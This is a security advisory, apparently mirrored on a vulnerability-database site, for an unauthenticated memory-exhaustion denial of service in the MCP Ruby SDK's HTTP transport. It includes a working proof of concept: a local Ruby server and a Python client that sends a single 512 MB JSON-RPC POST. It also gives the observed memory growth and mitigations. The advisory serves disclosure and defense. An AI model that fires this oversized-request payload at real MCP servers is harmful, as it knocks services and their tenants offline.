Wiz가 Google Cloud에 합류: 함께 마법을 만드는 것
취약성 데이터베이스GHSA-h669-8m4g-r2hc

GHSA-h669-8m4g-r2hc
Model Context Protocol 취약성 분석 및 완화

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

  • Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
  • Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol. The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication. A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)
Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket
HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512
inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'
headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()
s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker. <img width="1588" height="836" alt="poc1-1" src="https://github.com/user-attachments/assets/13522d05-b7fa-4c05-ba65-ce8ff7d66d4f" /> <img width="1400" height="948" alt="poc1-2" src="https://github.com/user-attachments/assets/b230bf85-bed9-46ca-91cf-53ffd10306a6" />

Impact

  • Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
  • Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
  • Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

  1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
  2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
  3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

근원네비디(NVD)

관련 Model Context Protocol 취약점:

CVE ID

심각도

점수

기술

구성 요소 이름

CISA KEV 익스플로잇

수정 사항이 있습니다.

게시된 날짜

GHSA-5p9g-j988-pcwvHIGH8.3
  • Model Context Protocol logoModel Context Protocol
  • mcp
아니요Jul 30, 2026
CVE-2026-63127HIGH8.2
  • Model Context Protocol logoModel Context Protocol
  • goose
아니요Sep 16, 2026
CVE-2026-63128HIGH7.5
  • Model Context Protocol logoModel Context Protocol
  • goose
아니요Sep 16, 2026
GHSA-h669-8m4g-r2hcHIGH7.5
  • Model Context Protocol logoModel Context Protocol
  • mcp
아니요Jul 30, 2026
GHSA-52jp-gj8w-j6xhMEDIUM5.3
  • Model Context Protocol logoModel Context Protocol
  • mcp
아니요Jul 30, 2026

무료 취약성 평가

클라우드 보안 태세를 벤치마킹합니다

9개의 보안 도메인에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 식별합니다.

평가 요청

추가 Wiz 리소스

맞춤형 데모 받기

맞춤형 데모 신청하기

"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
데이비드 에슬릭최고정보책임자(CISO)
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
아담 플레처최고 보안 책임자(CSO)
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."
그렉 포니아토프스키위협 및 취약성 관리 책임자